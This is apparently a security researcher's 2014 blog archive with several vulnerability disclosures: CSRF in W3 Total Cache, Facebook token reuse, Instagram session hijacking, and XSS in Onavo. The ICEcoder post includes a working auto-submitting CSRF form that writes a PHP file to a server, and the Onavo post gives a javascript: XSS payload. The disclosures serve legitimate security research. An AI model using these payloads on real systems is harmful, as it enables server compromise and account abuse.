Thursday, December 11, 2014

W3 Total Cache's W3TotalFail Vulnerability That Leads to Full Deface

W3 Total Cache's W3TotalFail Vulnerability That Leads to Full Deface  

CVE-2014-9414


     In this post, I will be talking about a critical vulnerability that affects W3 Total Cache, the most popular Wordpress plugin in the world. W3 Total Cache used by most of the major companies, as it provides a vital service that every Wordpress website needs.

Overview on W3 Total Cache:
"W3 Total Cache improves the user experience of your site by increasing server performance, reducing the download times and providing transparent content delivery network (CDN) integration."
-source: https://wordpress.org/plugins/w3-total-cache/

     After I have downloaded the plugin (v0.9.4) on my testing wordpress site, I have started testing it for less than 15 minutes. In that duration, I have noticed that there is a CSRF token called “_wp_nonce”, so I started checking for bugs on it. I have noticed that the CSRF token is not being validated, and there is no additional methods is used to prevent CSRF issues. So by deleting it's value from the request, a successful CSRF attack can be performed.

     Then I started verifying the issue, and I was able to reproduce the same issue in all the plugin's requests.
     After that, I started making  scenarios on how the CSRF issue can be used to make the biggest damage, and the highest impact on W3 Total Cache users.
     One of the features that W3 Total Cache is providing is the ability to redirect user-agents that contains a phrase that is mentioned in the plugin's settings to a specified link. The feature is made so administrators can redirect users to mobile version of the site, or similar uses for example. It's a nice feature, but it's a a great feature to be  used to in exploiting the bug and defacing websites.

     I have made a research to gather all the common phrases that is on most user-agents. The results of the research showed that the following phrases is used on more than %97 of all user-agents, and %100 of all checked user-agents.


     Then, I started writing an exploit for the issue. All authenticated wordpress users who loads the exploit, will setup a policy that all user-agents that contains the previous phrases will be redirected to a malicious page. Because of the phrases that I wrote exist on more than %97 of all user-agents, everyone will be redirected to the attacker's page using the exploit.

POC: http://packetstormsecurity.com/files/129512/W3-Total-Cache-0.9.4-Cross-Site-Request-Forgery.html

Demo Video:
 


The following screenshot shows the response before & after using the exploit:



Steps to Reproduce:
1- An attacker post a comment that contains a link of the exploit to the wordpress victim that uses W3 Total Cache
2- The victim opens the comments section and clicks on the link.
3- The exploit is loaded while the victim is authenticated with administration privileges.
4- Anyone opens the victim's website will be redirected to the attacker's deface page.


     I quickly contacted W3-Edge, the company who is responsible for W3 Total Cache, and the main developer of the project Fredrick Towns contacted me asking about the details  regarding vulnerability that exists on v0.9.4, and he replied that the fix will be released soon (the patch has been released now).

Recommendations:
*Update to the latest version of W3 Total Cache, ( v0.9.4 is vulnerable, and all versions that released before might be vulnerable as well ).

Summary:
* W3 Total Cache v0.9.4 is vulnerable to a critical CSRF vulnerability that may leads to full deface of users who are using the vulnerable plugin. Versions before 0.9.4 might be affected too.
* The exploit can be used by researching all phrases that is used on most user-agents.
* This issue is not difficult to exploit and can be used to cause different impacts on Wordpress users who are using a vulnerable version of W3 Total Cache.
* The W3TotalFail vulnerability are easy to exploit, any malicious user a little experience can use the vulnerability to cause major damages and defaces.

Final Thoughts:
     I din't expect that I will be finding a critical issue like that on a popular plugin such as W3 Total Cache that easily. If that's the condition of the most used Wordpress plugin, I guess there are many vulnerabilities on Wordpress plugins that might be publicly exploited on the black-hats community. Wordpress is secured by itself, but plugins are having the biggest impact on Wordpress  security. Users should be careful about what plugin they are using, and how much effort they put to secure it.

     Some companies don't care about their security, neither are professional in handling a security vulnerability. W3-Edge was one of them in my opinion. When I reported the issue on October 7th, I expected that W3-Edge team will be patching the issue quickly, but instead, their responses were unkind at all, and they were not cooperating with me.  I really have not appreciate that from them.

 If you need any help securing your web-application or service, you can contact me by E-Mail, or Twitter.

Best Regards,
Mazin Ahmed

Friday, October 17, 2014

Facebook's Critical "Won't Fix" Issue [0-Day]



       In this post, I will be talking about a new critical security issue that Facebook decided to not fix.

       During my tests for CSRF issues, I have noticed that Facebook has a CSRF token called “fb_dtsg”. It is used in every action request, and it's the only protection for Cross-Site Request Forgery vulnerabilities on m.facebook.com . Simply, by finding a security issue on “fb_dtsg” token, users will be vulnerable to CSRF attacks, which is extremely dangerous and can be used to compromise users.

       I have noticed that “fb_dtsg” is not vulnerable to classic CSRF attacks (that can be occur due the lack of validation process of CSRF tokens). Then, I started to search for bugs that affects the CSRF token.

       After tests, I have found that the “fb_dtsg” token is vulnerable to Broken Authentication and Session Management bug. By using the particular Broken Authentication and Session Management issue that I have discovered, hackers can use the issue to perform successful Cross-Site Request Forgery attacks against billions of users around the world.

How?
       I have logged the value of the CSRF token then I created a small POC for “sending messages” by using the correct current token that I have logged. Then I logged off my test account. After that, I logged in test and changed my password and logged off again. Then I logged in again. Finally, I tried the POC using the previous value that was been assigned to me before I changed my password and multiple logged off my account, and it IT WORKED!!. Using the old CSRF token, I was able to send messages successfully.





What does That Mean ?
       Being able to reuse the CSRF token after changing password and logging off  means that anyone who get the value of someone's CSRF token, he will be able to perform CSRF attacks against users, even if they do all the required steps to insure their security.


       Scenarios:

  •    Scenario#1:
1-An attacker find a way to get an access to the victim’s Facebook account.
2-The attacker gets the value of “fb_dtsg” token. and now he have a forward step on the victim’s account.
3- The victim realized that his account was compromised, then he changed the Facebook password to secure his account, and he has made all the necessary steps to secure his account.
4-The attacker sends a CSRF exploit to the victim, using the old CSRF token.
5-The victim opens the CSRF exploit, and it worked successfully although he has secured his account by making all the necessary steps.
6-The attacker gained access again to the victim’s account.

  •    Scenario #2:
   Matt and James work in the same company. Matt has left his laptop working, and James quickly opened Matt's Facebook account, and logged the value of Matt's “fb_dtsg” token. James later wanted to get Matt in trouble, so he send him a link containing a CSRF exploit using Matt's CSRF token. James successfully made an action on Matt's Facebook account on behalf of Matt's permission.


       As you can see, this issue is critical and need to be addressed quickly. So I reported the issue to Facebook Security Team. I thought that this issue will qualify for their bounty program, and would be fixed immediately, but instead, Facebook responded that this issue doesn't qualify for their Bounty Program.

       didn't expect Facebook Security to give such a response like that, so I asked for a confirmation about their reasons of rejecting it, as it's a most-fix issue that affects the security of the most popular social-media website in the world, Facebook. After my follow-up to get the reason why it doesn't qualify for their bounty program, they responded:





       Although the CSRF token might be expired by after a specific duration ( such as months), this is not the best practice to be used to secure against Cross-Site Request Forgery. Instead, CSRF tokens should be expired upon the end of the session.

Recommendation:
       I guess their is not solution or protection for this issue for users whose accounts were hacked or have been used by others before. So basically, every Facebook account is vulnerable, and there is no way to protect your account against the issue.


Final Thoughts:

  • I am pretty sure that Facebook Security understands the risk of the vulnerability and how it can be abused to take-over accounts. I guess there is a hidden reason but the bug's rejection, and I still don't know why.

  • Exploiting this issue is not difficult, even for beginners, so it might be being exploited publicly to regain access to compromised Facebook accounts.

  • The only good use for the vulnerability might be used for restoring Facebook accounts. For instance, the user can send the exploit to the attacker who hacked the user's account, when the attacker opens the exploit, the user will restore his account ( if he already have the value of the “fb_dtsg” token).

       If you need any help securing your web-application or service, you can contact me by E-Mail, or Twitter.

Best Regards,
Mazin Ahmed

Tuesday, September 16, 2014

From CSRF to Root Access




    In this post, I will be talking about Cross-Site Request Forgery vulnerabilities ( also known as CSRF), and how it can be used to get root access on a server. This sounds unbelievable, right ?. I will be demonstrating it in real-world web-applications.


A Quick Overview on Cross-Site Request Forgery
    “CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.”
Source: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

    CSRF is a client-side vulnerability, which means it does not affect the server directly in normal circumstances. With CSRF bug, you are forcing the user to perform an action that he did not attended to do, some actions can differ from low to 0 risk ( such as log-out CSRF ) to high-risk actions that can compromise accounts and even the server.

Full Account Take-Over via CSRF
    This is an expected impact in under certain circumstances. So basically, if the platform does not have a CSRF protection on the settings page, the attacker can change the user's account information. Also, if a website is using a web-application that suffers from CSRF vulnerability on the password resetting or the settings, an attacker can compromise the website using this issue.

Compromising a Server via CSRF Bugs
    CSRF bugs can be found anywhere, from log-out requests, to file-uploading requests. If an attacker found a CSRF bug on the administration area, specially in uploading features, the attacker will be able to craft a malicious page that forces the victim to upload a web-shell, where an attacker can gain a root access to the server. Also, if the settings page is vulnerable to CSRF, attacks can take-over the admin's account, and then use it to upload a web-shell that will lead to compromising of the server.

Real-Life Example: ICE Coder

Overview: “ICEcoder is an open-source code editor, which provides a modern approach to building websites.”
Source: http://icecoder.net

    ICE Coder can acts like an administration panel for a website, with the capability of uploading files and modifying source code. Its latest version now is now secure by Bugcrowd security researchers, so I can suggest that you may trust it now.


ICE Coder 4.0 beta is vulnerable to many issues, including a CSRF issue in the uploading feature.

Points on the target (assuming that it exists on victim.com):
  • The folder “lib” on http://victim/icecoder/lib/ has read and write permissions.
  • There is an uploading functionality in the web-app
  • The admin can choose where to upload the file and modify it easily
  • The uploading functionality has unrestricted file-type upload ( which is normal and it should be like that)
  • The uploading functionality is vulnerable to CSRF attacks.

POC:
<html>
<title>Exploit</title>
<body onload="javascript:document.csrf_form.submit()">
<form name="csrf_form" method="POST" action="http://victim.com/icecoder/lib/file-control.php?action=save&file=/icecoder/ICEcoder-v4/lib/[NEW]">
<input type="text" id="contents" name="contents" value="&#60;&#63;&#112;&#104;&#112;&#32;&#112;&#104;&#112;&#105;&#110;&#102;&#111;&#40;&#41;&#59;&#32;&#63;&#62;"/>
<input type="text" id="newFileName" name="newFileName" value="/icecoder/lib/info.php">
</form>
</body>
</html>

    In this POC, “contents” parameter contains a PHPInfo payload that looks like:
<?php phpinfo(); ?>


    By using the POC. An attacker can force the victim to upload to a web-shell, which will cause the whole to server to be compromised.

     Fortunately, Matt Pass, the lead-developer of ICE Coder, quickly patched this issue.

Final Thoughts:
  • There is no 100% secure service, even top-profile companies face breaches from time to time. The only thing that differs a good from bad service that some companies is the duration of patching security issues in this case.
  • In this article, I have demonstrated how can a CSRF issue may lead to a compromising the whole server if it's exploited correctly.
  • I suggest that you update ICE Coder to the latest version.

    If you need any help securing your web-application or service, you can contact me by E-Mail, or Twitter.

Best Regards,
Mazin Ahmed

*Anti-Virus4You has published the article at http://blog.anti-virus4u.com/2014/09/from-csrf-to-root-access.html

Saturday, July 26, 2014

Session Hijacking in Instagram Mobile App via MITM Attack [ 0-DAY ]




In this post, I am going to share a new critical issue that I have identified on Instagram Mobile App. During my tests on their android app, I have set-up a lab to pentest the app. Then I started using the app on my phone, and monitoring the traffic in the network using WireShark, looking for evidence for unencrypted data that goes through the network or a technique to make this data unencrypted (if it was encrypted). As soon as I logged into my account on my phone, Wireshark has captured unencrypted data that goes through HTTP. This data includes: The pictures that the victims watching, The victim's session cookies, the victim's username and ID.



I was shocked after seeing the results, it is unbelievable that Facebook, the company that is responsible for Instagram, did not insure that the data is secured and goes through HTTPS.


Then, I took the session cookies and used it in my computer, and simply “The Victim's Session Has Been Hijacked”.




I have reported this issue to Facebook, and they emailed me saying:



       The security member said:” Facebook accepts the risk of parts of Instagram communicating over HTTP not over HTTPS”.
If this unencrypted data can lead to session hijacking and stalking Instagram users, this may raise an eye-brow of suspicious.


Timeline:
Jul 24, 2014 4:35am – Reported the issue.
Jul 24, 2014 4:38am – Received a confirmation email of receiving the submission.
Jul 24, 2014 9:45pm –  Received the first response from Facebook Security.
Jul 24, 2014 9:45pm – I Asked for a disclosure.
Jul 24, 2014 11:56pm – Received the second response from Facebook Security.

Recommendation:
       Until a patch is released ( which there is no specific date for releasing a patch that has been assigned by Facebook), do not use Instagram Mobile App. Instead, use the normal website, it is generally secured and encrypted.

Final Thoughts:
       It is unbelievable that a company such as Facebook does not take the maximum measure to insure the security of their users. Right now, I believe this issue might be getting exploited in the public by surveillance and agencies.

     Follow me on Twitter @mazen160 , and check my Blog for the latest news and findings.

Monday, June 9, 2014

My Story with Onavo ( a Facebook's Acquisition )

I usually don't write write-ups on XSS vulnerabilities, but I have made an exception on this one.

When I was checking Facebook WhiteHat Page, I realized that they added a new target on the scope, which is Onavo.




I downloaded their apps and started to intercept the links that I found.

One of the links raised an eye-brow. I said to myself that this looks vulnerable!

The link looks something like this:
http://cf.onavo.com/iphone/mc/deactivate.html?url=/somethingthatIforget/&seed=1394953248

So it looks like it is vulnerable to Open Redirect.

I executed the link this:
http://cf.onavo.com/iphone/mc/deactivate.html?url=http://bing.com&seed=1394953248
It redirected me http://Bing.com.

Right now I have an Open Redirect vulnerability, but that's not enough for me.

After digging up more on the nature of the page, I realized that it redirects me after about 2 seconds. So it looked something like this:

<meta http-equiv="refresh" content="0; url=http://bing.com/" />

So, I changed it to make a redirection to javascript:alert(document.domain) , which it worked!.

Reflected XSS




Timeline:
Mar 16, 2014 - Reported
Mar 17, 2014 - Email from Saul of Facebook Security acknowledging the issue.
Apr 30, 2014 -  The issue seems fixed to me. I emailed Facebook asking them about the current status
May 1, 2014 -  Email from Saul of Facebook Security saying informing that the issue has been patched
May 1, 2014 - Received a payment email from Facebook

Rewards:

Facebook WhiteHat of 2014



a Cash Reward of $500



Final Thoughts:
*Participating in bug bounties gives you an experience in different locations, and it helps you building new ideas for security-related issues. 
* If you have an open redirector vulnerability, you should test for XSS too.
* Never give up.


Regards,
Mazin Ahmed

Thursday, February 27, 2014

LifeStyle OS



Lifestyle OS is a free operating system based on Linux Mint for everyone. It is made to provide secure, clean, fast, and free computer experience. It has built with a variety of programs that any user could need.

http://sourceforge.net/projects/lifestyleos/


Wednesday, February 19, 2014

Cross-Site Scripting on WikiLeaks

I have reported a Cross-Site Scripting issue on WikiLeaks new search engine. They have fixed the vulnerability, but they did not contact me back.




UPDATE: Read this article for more info :
http://news.softpedia.com/news/XSS-Vulnerability-Found-in-WikiLeaks-Internal-Search-Engine-428166.shtml
Thanks Softpedia!!

Thursday, February 13, 2014

PHP Code Execution on BugCrowd

I have identified a PHP Code Execution Vulnerability on BugCrowd. Bugcrowd is the premier marketplace for security testing on web, mobile, source code and client-side applications. They have over 6700 security researchers. Bugcrowd runs bug bounty programs for companies. Finding a vulnerability like that in their website is an important achievement.

Thursday, February 6, 2014

Open Redirector on Google.com

I have found an Open Redirector  Vulnerability on google.com . I have reported it immediately. Their security team says :







To demonstrate the impact of the vulnerability, I have made this video :



SQL Injection, Cross-site Scripting, Full Path Disclore on the website of the University of Calgary

I have reported multiple critical vulnerabilities ( such as SQL Injection, Cross-site Scripting, Full Path Disclore ) to the IT support Center of the University of Calgary. They have fixed the issue, but they did not contact me back. Although they have not contacting me back, I am glad that they have fully patched the issues that I have reported.


Acknowledged By Oracle


I have got acknowledged by Oracle for finding a Cross-Site Scripting Vulnerability.